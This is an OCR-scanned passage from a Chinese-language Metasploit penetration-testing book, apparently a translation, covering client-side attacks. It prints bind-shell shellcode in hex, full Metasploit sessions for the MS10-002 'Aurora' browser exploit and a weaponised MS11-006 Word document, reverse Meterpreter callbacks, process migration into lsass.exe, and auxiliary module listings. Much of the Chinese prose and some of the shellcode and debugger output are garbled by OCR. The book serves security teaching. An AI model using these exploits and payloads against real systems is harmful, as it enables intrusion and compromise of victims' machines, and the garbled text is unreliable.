T o B BRANAE -5 2 I BAT T e BT SCAFEAT IR 48 F e © . FE@ AR AT LUE WL UPX K3
IR R GG B SRR R 48 T 59.46%.

MR, 42 PRFE FETNE 9 MRS UPX Insk)q i U A7 S A0,

#7R: PolyPackProject ( http://jon.oberheide.org/files/woot09-polypack.pdf) f& 7+ T #f —uk
O o & & AL AR A% ) & Ao o R A AL A0 AT G B AR & R ALY T L,

£ B 1 B
BAAFE P BAMRANE T msfpayload & msfencode &/~ AR, KR TR —
i . A-#Ae LR msfvenom, € ¥ msfpayload #= msfencode 4 fE¥ S £ T — /A Ede HE
A o P, KEP AR msfvenom RATHMANE (TUARFTHRB), EHRHK
&7 msfpayload 7> msfencode #4~5, 5 LK% 5 ALY WE 9 k. y

7.6 /Mg XTRROLEHNRBEEE

ARRAREA L AR, EECELRMARAER IR ER . BIEARPLAER R, 435
PR IENE R REHN; HELEERY, RABEAKILARETRETERNENL. &
#% Metasploit FF & B RAA Wb Boiki 8 24T AR, W REEAERNSORBATE, BURIRK
RAETERNAAFELEG TFAFTFRE, NORBRE. W EFrd, SRR E A AR SR EET
RARLBN, NERLHEMARGZMMZHRNSE, RESECTHN TR, FRMQEEN R
A=, GRMEFEAWERN TR, XA R LRF TETRBIYLE,
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TV, BT ML S H K BT BRE R L R 07 i B AT BRI R KRR . Sl
KMREMBEZEMEUNINBEN, HHEEXEIRFN. ENE ST EZ B
M EAR. BPWREELGHEREMEEAEREMTRAEET, AR BRI
. XEBER EARR ENL L300 N A, Bl Web X 145, PDF [ 35 a8 MK
RYDAPHAE, HTEIERRANZE ERXENARGE, EMN2R=IUERN R FRE
it HAx. N LAR/D e BiAh T B8, XELFETH P 0L RN AR EE L T R
AR 4KRAE. Metasploit BF T —#NEKNE P IS ELERR, RITEERX -FEHHT
RN i .

R IREEB ST — AN ARERIRM T 22 EE R, FABEMN - R —MEEEE, A4
REINBAZXA KPS SRR BEREERT S TREXN— 0§ LR &2 EN
R, RE—BEAENALS B PR BA TTRERINEERRR. IR LIBSRARFE k. %44
M5, MRMHAZMEN L, FUR—MZAFNCHERSIR, RehE —HEEREF, &
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A AT B A P R — AN (BRI EBBGE D KEH LHGER. REHFAF,
s THEE R R, H P BV s), BT USRI 2 7] A EE M &% .

XFE Mg REH HILAERE N AR RSk FB B B o A PR T X 2 65 A0 T
R BIEE RSB, MHPRNEGEEEENES . RS ZHREE, KR2EWAFIH
WENT KBS W ITEMANRO M RL (IPS). Web NHIB k% & & R AP AL RTEA
BHECM EMRZE LN, MARBAMYMBELEZHEMNMRA L, RTHESTEESER
Wit .

E2011 3 H, —RZBGEHERRUMITAANR TELHZEAF—RSA. — (L ERAG
BRIET —HP MBS R e, EMAAE — MO IER Adobe Flash Oday J§ i B
g, GXFp B 7Bt & Spear Phishing, BPEFXFHEEIBGhEIAR. xitsy B EGEH 1
Pt Hbr i fF Mty @ ), AR — &L G 7640 EBEPLIEE M. ) 7EX R Z RSA
RIFfE, B F G e R IESS — /MBI A P, B B ATREA T RSA 28] [ 5%
KRG, Rt PB@EHEN AL % M.

8.1 ETFNREZBEZEL

EIX—TH, EAPRHEDIHE Metasploit HEAR PR WAFBEEE . HTEREZHNA
ZWRHE, WP ERAEZ NG, Eik, ETXREMEERGERE -ENE
FAMEEMHE AR,

B b — R BT SO S U R RN LG ENHARR — AR X
P iz BERE, A ATT R0 U8 25 RE e U7 1) AT S S0 R R B DO 0, X e B M ) Y TR
i MR E A TE a8 B — M EFRR. R EHRX RS2SR RA,
AR 2 Sy 300 BT 2% U7 ] FATHIE R M B, B EHB R8T 5 S R AT H . MI7E B
& XA, WIELE A — L Meterpreter BB R AT, 30T LLKECEI B P 2 HLEA 3 O 1328 4
HERE

KEFNTHEEEN R L WREFHSEVEE ANRBITNARER, BABEHEE
IR RIFE AR PR o 25T 7 Ui )2 B B 1R B AR IR G 4 i ) B AR R RS AT R P TR P BURR
R A EHEHPREEERP, BABRNTFTERIT R EPERERREEEMNE, XEkE
it BT R — T A . AT UFHETHGEIPNEFRHARRGE L, RIRBEHE
AR, FRZHERT, JaA A BRERLMERIMTERSZERER, XEERRTERN
ZP R R BRI R EERIE? BE RAEE RN, A 7] LAY AX S 503 2

o
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8.1.1 ETHEH{EEREFIE

B 0 4% 2 E B DX T H A A GEiB BB o B B K AR E T shellcode Al 2 $04T
o EHERRZBELE T, BahE 28 B Arpl 2 RBUS AR ATHINLE, AREHEAN %
BRMGE A . R AN ERBBERCES, AT S HRATR RS I e R, @A
—FhBERR O HEWE S (heap spraying) FIRETHAIHHAR . FEVEAIHSHERIS H AR Z BT, RAVERE
Bt aEHE, LU ue TER.

HEFRTRH T ah& B ERE A A7 22 0], N R R PP e I8 1T T4 e WX BE N AF 4T B i A A .
NMARRFSRIETR, BN AE RS AL EECTE RS . 1725 8] Y A/ BTt 57
LI AR, DLRFEN A Ear b o2 AN EER . ERFREiTiERT,
WMFHEHMT, AFMTERHEIERERAMET, BT EANIAqE shellcode 46 A 17 P HIHTIAT E
HFHE A A Fr ek o AC R BEVLE, BrUABEE B ANRER Sk £ — A W fitihl, HEFHETX
A Hu I IE A R BGHEET R RO E . FEHEMH R AR B IR R Z AT, IXRRBE ML R B 3 1 K
FEPRELZ—

ESRS I T IR Z AT, R T X MEE: T84 (NOP) MRS HITK (NOP
slide). BATEES 15 EEHIFMIHE TS, XEHENE SRR, kB4R
HEWES O TAENLEE . CIRSRIBE—RILHRIES: AMUEATHEN, SKEHITF 4545, 5
TEOHMX EIRAFF HIRE FEFEHENTIE SRR —MEAX . BB FERIT T
RHiBEE—ERKNTRS, BathMy “WHil” XBFHEASRERRSRMER, HUTi%
RIRSZ G F—4%364 . 7 Intel x86 Z8#grh, —ANEFHR4A %] W R VERS & 90, 4% LI\x90 1)
e B ERE .

HEWT S TR ET6 R 228 1F1TIX 55 shellcode 4175 Bl B I, RGN EH AT H
P, BHREBE - RRNAERS N T AR eI AN, N AE R R TR EIT N B A RUTH,
Bt CARA 138 A 0 S AR PEPRAT JavaScript BIART % i KB NTE. Wi F ¥ ZIRLS BT
FEBE LS 1 shellcode T KIRFI N7 XK. SRR FHIPATHRBENERE, FEELSMLBES)
PAFH RO , THX AN W A7 HEHE R 8B 1e S F R T IX B o, 'BBE LS 19 shellcode
tBEZ AT . B TAERNTED FE shellcode Mtk & A WG HTEE A% RIwE, HE W5 AR TS HY )48
FHEBIAF] 85%%F 90%.

XNBAREER T MR BBR A, KA T 8 EEF A aT SEdE . O A
S EVHRIATHER 3 T BB, EAXR —NERMEBBEEESE, (HERS
X LR IS BB RINIET LR . S FHRITE— N RB B2 67, BRIk
EREBENGHNEE, DIEMELE T B4
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8.1.2 TS

TR T HEmi st Ei AR IS4 HEMaMINZ G, BIAKE M ERBERGETELLS B2
WATX BT & FHEFIED, FANEHIREZER X0 2 Intel x86 FEH FHyEIFE . TE Intel
x86 L4, — 90 feF—4£FHK4A. EXE, BNIED ERX0 BT —MEITK, B
B 3L 5 B R B EATACRD, AN AT LR — AN R A 44T shell, 8U& > Meterpreter shells

\X90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\ x90\x90\x30\x90
A\ x90\x90\ x90\ x90\x90\ x90\x90\ x90\ x30\ x90\ x90\ x90\ x90\ x90\ x90
\xFo\xe8\x809\x00\x00\x00\x60 \xB89\xe5\x31\xd2 \ x64\xBb\x52\x30
\x8b\x52\x0c\ x8b\x52\x14\xB8b\x 72\ %28\ x0f \xb7\ x423\ %26\ x 31\ xfT
W x31Axc0Mxac A x3c W61\ XT7c\x02 \ x2c\x20\ xc1\xcFAx0d\x01\xCc 7\ xe2
\xFOAXS2\X57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\ x40\ x 78\ x85
\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3
\x3c\x49\x8b\x34\x8b\x01\xdb6\x31\xTf\x31\xco\xac\xc1\xcf\xod
AXOLAXC T\ X3 B\ xe0\x 75 \x T4\ x03 \x7d\xF8\x3b\x7d\ x24 \x 75 \xe2\x58
\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b
\x04\x8b\x01\ xd0\x89\x44\x24 \x24\x5b\x5b\x61\x59 \x5a\x51\xff
\xe0\x58\x5F\x5a\x8b\x12\xeb\xB86\x5d\x68\x33\x32\x00\x00\x68
AXTTAXTINXI2AXSFARSA N K68 A XA A x 7T\ x26\ x0T \x FF\xd5\xb8\x90\ x01
\X00\x00\x29 x4\ x54\ x50\ x68\x29\xBO\ xbb \x00\ xfF\xd5\ x50\ x50
\X50\x 50\ x40\ x50\ x40\ x50\ x68 \xea\x0F\xdf \xe0\ xFFi\xds\x97\x31
\xdb\x53\x68\x02\x00\x01\xbb\x89\xeb\x6a\x10\x56\x57\x68\xc2
A xdb\x37\x6 7 \xFF\xds\x53\x57\x68\xb7 \xe0 \x 38\ xFF \xffixds\x53
Ax53\x57\x68\x74 \xec \x3b\xe1 \xff\xd5\x57\x97\x68\x75\x6e\x4d
\xB61\xff\xds\x6a\x00\x6a \x04\ x50 \ x5 7\ x68 \x02 \ xd9 \xc8\x5F\xff
\xdS\x8b\x36\x6a\ x40\ x68\x00\x 10\ x00\x00\x56\x6a\x00\x68\x58
a4\ %53\ xe s\ xFFAxd5\ x93\ x53\x6a\ x00\ x56 %53\ 57\ x68\x02\ xd9
WeBAXSTAXFF\xd5\x01\xc3\x29\xc6 \ xB5\xFB \xT5\xec\xc3

8.2 {#£H Immunity i ZEREH TIESHLEEHS

PRSI, LR IRE R THENETIREG, OFICHEE . WA,
UL R e B AL BT A0 1T . BB A G R A AR B R A & 2 IRE KT Oday IRIFIAO4RTY, T /%
RN RFER el TAE, BA Rt £BGHE . Wik SsH IR E M, TN A LB =% AE A #) 2 Immunity
WiAdE (FHMSESSEARD. ERETEHAARZE, BIOIBBREEX Immunity #iL23%
HAN KM T A%

ATHA - IFHRLSETXEWFALEITH, OISR KBRE LN rH a4
HLARB R MM AT . X F—6& Windows XP HrFEHL, MRETAM http://www. immunity
inc.com/W i B8, Immunity IR 88 2% . BAEE AT msfpayload LhEEFEFF R4 Rl — 8] L
[ shellcode F2/F, AL EIVTEE TCP 443 ¥ 1[ shell 8, WFATR. EMREREEY
FRT T REIBFE, N8 shell BIRTE HARENL L RVr— A o O, AT BB XA i 1,
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FB8E EFimEENE

{RI0Z LAY shell $55 6141

root@bt:/opt/framework3/msf3# msfpayload windows/shell/bind_tcp LPORT=443 C

MPITIX L4 2 J5, Metasploit #5225 tH P~ shellcode, 75T EARR A AE “ 5 —BrE” H
“BEHTEL” /Y shellcode. FATTHEKOAET 3 —Fr BT shellcode, [FI2h 55 —Fr B shellcode B
T FF B3 1 F i Bl KB, Metasploit 2B RA VS —PrBLAY shellcode RIXFX iR E. 7R
Al LAY — B B Y shellcode S IR MG BIUR BB R R A G 45 h, RIGERE T EHK TIEZ
GIRGEEE T GOp e 7L

MIER O T — M AR shellcode, #RJG R LAAEX A shellcode HIHY T IN EIR 2 5154
(B l\x90\x90\x90\x90\x90) . KT HI\x BErZ J5, W FHTR:

909090909090909090903090909090909090909090909090909090909090909090909090909090909090909090F
ce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3cb17c022c20c1cfodolcyezfo
52578b52108b423c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cfodo1c
738e075¥4037df83b7d2475e2588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51Ffe058
5f5a8b12eb865d6833320000687773325F54684¢772607ffd5b89001000029c454506829806b00ffd5505050504
050405068ea0fdfe0ffds9731db5368020001bb89ehba10565768c2db3767FFds535768b7e938FFffd553535768
74ec3be1ffds579768756e4d61ffd56a006a0456576802d9c85FFfds8b366a406800100000566a006858a453e5F
fd593536a005653576802d9c85fFfds01c329chB85f675ecc3

b A IR R R AR ), B DN PR 0 Z0RE 5 DR WS )L S 2 5 A Immunity J31K2% ) LA
AR, ERCEA T MM FIRSHHAE shell REATARL T . TR, TTIHE A
A PATREF, 7EIXH LU jexplore.exe J3H . & 54T FF Immunity 1448, £FF File 3£ 4. H ] Open
I, RGfRm Al AT . IRATBEEE O (BRI P HEIRBILEIES.
WA i PR PRI —4&1ES, ST SHIFT 8w A% &5k 5 mmE) 300 4

2.

FFATEEH A shellcode EHIBIBINGAR, ARSGFE Immunity PEEE Db B ARG B 0 o 6 $%
Binary & 55l [¥] Binary paste. X220 _ER %7 )4 TE 2 #5105 2] Immunity B E O
(FEEENRE, BATZHM AN RARERERESHASMICHES RUEBRATH )

fRVTEAZE ] 8-1 HHE B LB A MRS, WMETETEGA, BEFEIRN shellcode.

MBI — W bind tep #530HT shellcode B, mJLLFFIZE —Mr BN 45 RIE S ece3. 7
WAFEA XL ece3 S5 TRA .

TR ece3 25, P2 WE ME. ARETWAZE, BENHATRUESX AN =
ZERagEhITnARgE: . XA EXE 2R EER, FEARMAERBIIT AN
R 1R 2 B R A E AT AT, WORAREEAT R 2o (i T A T4 A T U8 1) 3 BN B A2 75 Al 1t
BAVDREREF BB 2B EEE TR, ARIEKE THA.
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8-1 HFEFRETHRMNTRHRSIWITX

Wk 8-2 Bior, LL c3 4R MFRLSHLEBRNIMGEE shell /g —ME4 .

fEc3 A2 e, WFP2BEEW . IERIMESTHHEPITEREERET 4. EBETHE
MAZEIRA IS X TN, K5tk F7 . XRBHLSFAXBIIT KICHDL, PITZ)E
AR T —RICHRIES . RINERIERITZE, T ITHELAENRBIELER. BEEF A
BAEM, BOAIXRE—FRENRZERER2.

BEE, £l F7T 5 TRZE, BRFPITTSENTHRLAETE .. 3B —XPITRIANLF
H1#] shellcode 820, FTH— M7 LI IFHIAM 2 netstat -an. IL7EMN ZEH (TR R
WTEE 443 3w 1 b, 34058 B R I B el A 0 AR A AT 31

BT F5 &, MidEHSATEFLIUTEERSHEMEIRTEBIIN S, RIESHE
Immunity P#iR3% & QAL T AF DM SR, i, T ER80EF CLPIT T R EGEE
AT, VRILTER] LAE IS netstat -an 255 $ 443 ¥ L D2 83T 340 T IR

E—MERFEN L, H telnet KIEH Hbr ALK 443 S, HRERMEE LM FERAE.
X L O MW 2 - S A WL R % © Metasploit HI38 BB shellcode. ZE¥RH) Back Track BEHIHLH,
JZ4T Metasploit, SRJFRE — ML LFEMUTEE. X2 UF Metasploit 76 B Fr EHLA 443 30 LB
ST — 9 5E T H—Hr B shellcode I MIITE%, W LAEIX AN [ RIZ 5 BB shellcode, M
1fi] PR F 5 i 22 1
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E8E EFIRBEENE

FIFH EHLFEEE
_HLL CGE

LI EFG . EL
oF; EEu<. BB
FLE=H EEL,

P B 1.
ULLE ) B N
FLFECH |0

FIEH BEX

FLESH I'_Ll

FII=H = LS
IRiLL EI.'F

FiEH EES

FLH E_'[[
FISH R e s
CHLL EEF

FIEH FE

Ell=n EOT

U EL DL TS
ULl FEF

PUSH EDE

AHIE FHE B
FILSH ol S[=ETS
ML EEF

M o
FLEH 4

FLSH EST

|'|| M ELI

FLEH EFE o=
ML ERF

ot |: ] DRiOED FTR D5: [ES] ]
11

(R
ELl |
I
l.

l
|-|

1
H
II

]
L

r B
“H

I
I.
I:'
FI_'F
i
E

L
I'II H &
L Bl
I-'II-.H EE
rrcH 00
FiliH BRECalpans
CHLL EEF
HIHD R B
B EST.ERE
TE=T BT E=]
JHE SHORT CLSCk -or, 025570
FETH

K 8-2 BT ENESRPHIESE —E

msf > use multi/handler

mst exploit(handler) » set payload windows/shell/bind tcp
payload =»> windows/shell/bind_tcp

msf exploit(handler) > set LPORT 443

LPORT => 443

msf exploit(handler) > set RHOST 192.168.33.130

RHOST => 192.168.33.130

mst exploit(handler) > exploit

[*] Starting the payload handler...

[*] Started bind handler

[*] Sending stage (240 bytes)

[*] Command shell session 1 opened (192.168.33.129:60463 -> 192.168,.33.130:443)

ZRAT N PR IR B B Meterpreter shell, #RfGEG 2N HER | —
X2 J5, ARATLLOCREYRAY Immunity YRS & H, @l L. BB, ERMERAET
Immunity i85, BT SEMGRLEPMEHE. WAE, BRI — K SEHER] A HEw 5

Wi EfparSwE, RESEE - N ERR®2T shell! 1EA—DMREFAIZR, KAl LL

BRI W AHEFE K it

MEGIERE. EEK
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8.3 Xt IE X ¥E 2R B9 SeimiRHITEERIF
RILEE L 4N HEME 5T R R TAE IR B

tdadd

, BARAnFIR3h & BiF A AR RS e HE A A7 A2 fa], A

H WIS M shellcode. AR — LT — N KARXMBARKEER G RO, FERXNZEH
T RMNESEILFEANE P IS EUGEA A 230, X E, FOTEREA N RAREE
B R H R F AR R Z2AH% 52 MS10-002). XN ec8h# FARiZE R
Google fEW —+EB R RKUEARRXT], MEZRAZY. REXMNRFKEEFR R 2010 F4)
WM A, BREERERRNEATEE I, FIEELE IT THILFAIRE M 2 7 #k 1Rk,

RS, RAVE SN Metasploit T ICIRIRZZEB AR, R)5 B RN B

Her. FHAGFSENIZIBEE, BRI
BB BB dy-S kT, RATEr S HOFEm iR

FERT R SR E DR AT . X T AR R AN 34
B .

msf > use windows/browser/ms10 002 aurora

msf exploit(ms10 002 aurcora) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse tcp

msf exploit(ms10 002 aurora) > show options

Module options:

Name Current Setting Required Description

SRVHOST 0.0.0.0 © yes The local host to listen on.

SRVPORT 8080 @ yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLVersion SSL3 no Specify the version of SSL that should be used
(accepted: SSL2, SSL3, TLS1)

URIPATH © no The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required
EXITFUNC process yes
LHOST yes
LPORT 4444 yes

Exploit target:

Id Name

0 Automatic

Description

Exit technique: seh, thread, process
The local address

The local port

msf exploit(ms10 002 aurora) > set SRVPORT 80

SRVPORT => 80

msf exploit(ms10 002 aurora) > set URIPATH / ©

URIPATH => /
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msf exploit(ms10 002 aurora) > set LHOST 192.168.33.129
LHOST =» 192.168.33.129

mst exploit(ms10 002 aurora) > set LPORT 443
LPORT => 443

mst exploit(ms10_002_aurora) > exploit -z

[*] Exploit running as background job.

msf exploit(ms10 002 aurora) >

[*] Started reverse handler on 192.168.33.129:443
[*] Using URL: http://0.0.0.0:80/

[*] Local IP: http://192.168.33.129:80/

[*¥] Server started.

msf exploit(ms10 002 aurora) >

5, 2% SRVHOSTOHEL AR EZ 0.0.0.0: XEREHIE Web IREIEEFTHKIM-E
#1 F. 23 SRVPORTORIELIAE I 8080, X/ N2 HAxA HEiERAm O, Kbk H
R BB, BRAMER 80 ¥ LI RkALH: 8080, FATFEIFETT LI Web filR 4525 1 & b T FF SSL,
B EIEXAEFh, A6 R AR HTTP thill. 23 URIPATH® & H P 75 B 15 v 3k
WiFE) URL Haitb, AP H AR/,

BN EsekZ J5, AT LLH Windows XP ERINLK V] i) http://< B dr & £ 1P Hohl> 25 ¥
W #HHERN M. REEREDVASHLERE, FRTFSR2ZE, ST AR ERR
U7 EHL ER R/ Meterpreter shell, WTFFiR. ENKREES, HEENEHOLSMIT, BiEE
PAT A BA AT TES, HELZd P T IRMGE LY shellcode. WIRRTEERFEL T Z
AIFTHT Windows HMT&E R RIAITTESE, KK iexplore.exe tFRMT A T LA LF
), mERESHNAFRERERK.

msf exploit(ms10 002 aurora) >
] Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.33.130

[*
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.33.129:443 -> 192.168.33.130:1161)

msf exploit(ms10 002 aurora) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

{E13 5] Meterpreter shell Z 5, YRLSIBE|—A/Nal . W H R 7RG 2] 5 ik e
IR BRSNS ERE A7 XBSEREKLEL 5 B E RN RS, BIE
AU B ER A T, e PEOER RN, EEHE, XN EERITREN L 7
HlEBE—HES T, Y% FiZ4T44 run migrate, W1F s XS 7E Meterpreter F /Y il 45
K4 Hah g shell I8 BN MALHEAFZEES, XA FHARE R A [sass.exe.
S H AR HL P R T BB B MOl AR, I AR R S T BE & IR FFAT shell 3EEE.
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meterpreter > run migrate

[*] Current server process: IEXPLORE.EXE (2120)
[*] Migrating to lsass.exe...

[*] Migrating into process ID 680

[*] New server process: lsass.exe (680)
meterpreter >

X BRI AN TR . 2R PRE AT LU o {8 B AR B 1) 8 4 3 10k Xt X A
CLRRHETT Halth, K HER: AT B R B AN FET . $i A\ show advanced @72 0] A% HH
SoeL T ) S e g, R s

mst exploit(ms10 002 aurora) > show advanced

Module advanced options:

Name : ContextInformationFile

Current Setting:

Description : The information file that contains context information
Name : DisablePayloadHandler

Current Setting: false
Description : Disable the handler code for the selected payload

Name : EnableContextEncoding
Current Setting: talse
Description : Use transient context when encoding payloads

Name 1 WORKSPACE
Current Setting:
Description : Specify the workspace for this module

Payload advanced options (windows/meterpreter/reverse tcp):

Name : AutoloadStdapi

Current Setting: true

Description : Automatically load the Stdapi extension
Name : AutoRunScript

Current Setting:
Description : A script to run automatically on session creation.

Name : AutoSystemInfo

Current Setting: true

Description : Automatically capture system information on initialization.

Name : InitialAutoRunScript

Current Setting:

Description : An initial script to run on session created (before AutoRunScript)
Name : ReverseConnectRetries

Current Setting: 5

Description : The number of connection attempts to try before exiting the process
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Name : WORKSPACE
Current Setting:
Description : Specify the workspace for this module

msf exploit(ms10 002 aurora) »

T B XTI, AT AT AR Bl 3 A i M AR R RO B A TR . L,
BATRZE S A S sOE R R IE BRI 8 WRIRIBLERS, ] BURRERIA Z0E 8 1Y
REO 5 2k 10, W FFToR:

msf exploit(ms10 002 aurora) > set ReverseConnectRetries 10

TERXAEFIS, AT LR RERSCHR N WA, FE B bR HHE T # 3 —
A F RS . FH AutoRunScript 0, fRA] LAAE Metasploit 4 5 & Meterpreter )72 /7 b idt F Y
L EA3ET A, T RIZIT migrate 454, ] LAETF Meterpreter H &hiz4T
—AEHERE, PR A B EB R RHEES .

mst exploit(ms10 002 aurora) > set AutoRunScript migrate -f

M L2 BEFETERER G, REFEEAM L. 7L 0 A IEE RS & IRH
Meterpreter 2215 & 75 B MK AR TH K .

HTFXE AR T RRNEELE, RREHIRE T REEHEITAEZRA K T 1)
EFE. 1213 use priv Fll getsystem £y K25 7F H AR 4L _E#EATIRBL

Pl A b, ROLEN —NELZREQAA, KEEW T BEME —IRE P imig Bt !
DITEBRIZE, FREERHREENAS, HOIRERFEH B RERER N REEN

8.4 MHHAREEELRL

FEEN R FFE BB SRR bug ITSERATHA HA Z 2R, i Adobe
PDF. XRBE B 7F M 7 AE H Fr 0 A N F2 PP 4T R B OO R A e . Tl B SO T BE 2
H AR TR, EREHEET MRS . FEXENFFL, BRAIELER TR H
R RS B BGEHATH A R A EEE R at, A FRX B B A RIS 10 [ 4.

IR IR 2 BB S, R LA BY TR 28 B n] LU H bR EHLRO S0, Xk
SCAFRT AR — AN AR A Word 3CRS. —/N PDF 30, —ANE)Y, B Hof iR & 58 304257,
ERENMEFH, RNAAALZERHSS E MS11-006, &7 K Windows &4 8 #
CreateSizedDIBSECTION H f£7E f— MR H I i .

AT 1] AZE Metasploit FHEFCT ms11-006 HNBEX Y, & 56T MSF 2 A
RXAMBEEGHER, RSSO info B SAFUTRMES, W TFHR. 768 FRAERS, 1)
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i BB 5 HH SO A% FORE doe 3CH .

msf > use windows/fileformat/ms11_006_createsizeddibsection
msf exploit(ms11 006 createsizeddibsection) > info

« « ONIP . . .

Available targets:

Id Name

0 Automatic

1 Windows 2000 SP0/5P4 English
2  Windows XP SP3 English

3 Crash Target for Debugging

HRok, BAER B — ST LAIPBB X ) B An RAMA KRR n] i+, RAIEFEE 3L,
HRFRENEATOANRE, WA

Basic options:

Name Current Setting Required Description
FILENAME msf.doc yes The file name.
OUTPUTPATH /opt/metasploit3/msf3/data/exploits yes The location of the file.

BATER R UE —FRE DG EAr. EXE, BRATEER KK meterpreter shell,
mr:

msf exploit(msi1_006_createsizeddibsection) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

mst exploit(msi1 006 createsizeddibsection) > set LHOST 172.16.32.128
LHOST =» 172.16.32.128

smst exploit(msi1_006 createsizeddibsection) > set LPORT 443

LPORT => 443

msf exploit(ms11 006 createsizeddibsection) > exploit

[*] Creating 'msf.doc’ file...®
[*] Generated output file /opt/metasploit3/msf3/data/exploits/msf.doc®
msf exploit(msi1 006 _createsizeddibsection) >

8.5 XiIEWEHHE

BAHH X & msfdoc®, Metasploit ¥ H A B3| & 12/o0pt/® T . BLTE, BRMNEETT —
AEEOCHE, nLUES R RIEE AP, FAETHP ETHE. XNBRITELE T #H P im
AR T M Z2RAEL. SROESERFT XA A0, DMERERTERL 1%
LMW, WA, XPEREa] UMRUERE SR R AR, Brd EHlarUkEIsk 8 B s EHL
FERE kR (A RBAEMD.
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msf exploit(ms11 006 createsizeddibsection) > use multi/handler
msf exploit(handler) » set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse tcp

msf exploit(handler) > set LHOST 172.16.32.128

LHOST =» 172.16.32.128

msf exploit(handler) » set LPORT 443

LPORT => 443

msf exploit(handler) » exploit -j

[*] Exploit running as background job.

[*] Started reverse handler on 172.16.32.128:443

[*] Starting the payload handler...

msf exploit(handler) >

FAVE—1 Windows XP BRIV T Z LK, BESHB|— shell (BN RS2
Windows XP SP3) , Ul T:

msf exploit(handler) >

[*] Sending stage (749056 bytes) to 172.16.32.131

[*] Meterpreter session 1 opened (172.16.32.128:443 -» 172.16.32.131:2718) at
Sun Apr 03 21:39:58 -0400 2011

msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter >

BRI Metasploit, FAIRIHAIA T A 3CfER UK A = 20, HIET — MBI
B BAOLRBATHIH AR/ o P MESERGH LR, R F R HE A — D 5 fi
fr, WS NE L& HaTEREE, X MEER L K2 Metasploit “F& LIF7ER)
W E A B2

8.6 /&g

EARTR, TAVER [ Bl E W R AN R LR P imigE R, BIMMERT 248
RDIEIX KRBT HER, PARIRRSBNEARE. RBESES 14 TRE 15 FiE—5¥ 3 l0R
A YV . MS11-006 R — Mkt th 2 20, BAVEEM G F= - - it thas H e B
K. HEFERWE, FEITXEBEIERRDBRRRTEREGZ 0 THRE D KT BIR
{5 B

B —MNMEFERE, IRMZESFIRAE—AERKRIBBEIRGEEMAE . tLnsEs sk
WaILLT, WRIRAEH AR NEIATIE, REXN —SA T RSN EARK /NN 58]
SEREILT, AR ARE TN B I Ol etk KN . A &) Y 28 TR A SO IR TR R B B
T ERAHBSE, FHEEESHHCERABETEFNERSERE, BRIBSAEL &=
FIEE 10 EPgRaLihig X HH KM .
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i 4 2
Metasploit 3B iRk

A A —Ri#E Metasploit, i 7 BB SECE BT AL KB ERERR . BB RE, 2
BRI RNBACEREEHR, FAERECTEITE TeBBHRER L. BHERERNE
BB B RSN, HREFE - EHMA AR, RIEE X, Metasploit 7 “ NRBEBHEH]
REb” WFREREENBEER (auxiliary module), XAMBUMIN E XA RME T TREL MR, ©

B TRt AR TR, iR OE#S . RESTELEMESE (fingerprinters) %, #iH)
BER IR AR ssh_login EXFEM TR, EREMERH—NHP ZMOLF| R BN L1
SSH REHFITB DO LSHM. WHEF — WX Fuzz AT R, W fip pre post.
http get uri long. smip_fuzzer. ssh_version_corrupt . AR LAY — 2k i) B AR R B AT X
1 Fuzz RS, HIRA WRESH —EESMER.

IR AE F B T, EAERRREAENHLAKR. ERMNITHTFRFHBR R
AERThREHZEZ AT, AXREEENBREEA KA.

@ ik B AHA Metasploit v4.0 MRATH M T B ER LR, ATHELFEMNAFALREN
t—F A EATH; T KIS BARR A L P AHE RHRIRTRB LS.
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O root@bt:/opt/framework3/msf3/modules/auxiliary# ls -1

total 52

drwWXT=-XIr-X%
drwxr-xr-x
drwxr-Xr-x
drwxXTr-Xr-x
drwxr-Xr-x%
drwXT-XIr-X%
drwxr-xr-x
drwxr-xr-x
dIwWXT-XT-X
drwXT-XT-X%
drwxTr-Xxr-%
dTwxXT-XT-X
drwxr-xr-x

23

4

16

8

(e

Wl B Wl W owt oo

root
root
root
root
root
root
root
Toot
root
root
root
root
root

4096
4096
4096
4096
4096
4096
4096
4096
4096
4096

Toot
root
root
Toot
root
root
root
root
root
root
root 4096
root 4096
root 4096

Apr
Dec
Jan
Dec
May
Dec
Apr
May
May
Dec
Dec
May
May

10
14

2
2
14
14
2
2

03:22
03:25
04:19
03:25
15:38
03:25
03:22
15:38
15:38
03:25
03:25
15:38
15:38

admin
client
dos
fuzzers
gather
pdf
scanner
server
sniffer
spoof
sgli
test
voip

£ EIAFIRPIRSEF S|, XLEBHRZHA Metasploit Hl/modules/auxiliary H 0%, &

M2 A E SRR DIREET K. MRE TR EMHB, RTECIE A AR
A MBRAAT I, BT LAEA N H R E SRR B e #4067, mRREETT
K — Fuzz AR, RN REEREE, R UE fuzzer H 7P HRE)— LI AP

AT LAFE MSF 2835 14 A\ show auxiliary it @31 i3 7] FH B4 Bh AR B . Q1SR4 46 MSF

20 P B AR IR A B R BT H R, IRER MR R KB T EEH R4
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Auxiliary

Name

© msf > show auxiliary

admin/backupexec/dump

admin/backupexec/registry

admin/cisco/ios_http _auth bypass

- « « SNIP

fuzzers/ssh/ssh_version_corrupt
fuzzers/tds/tds_login corrupt

tuzzers/tds/tds_login_username

fuzzers/wifi/fuzz beacon
fuzzers/wifi/fuzz_proberesp

Rank

normal

normal

normal

normal
normal

normal

normal
normal

Description

Veritas Backup Exec Windows Remote
File Access

Veritas Backup Exec Server Registry
Access

Cisco IOS HTTP Unauthorized
Administrative Access

SSH Version Corruption

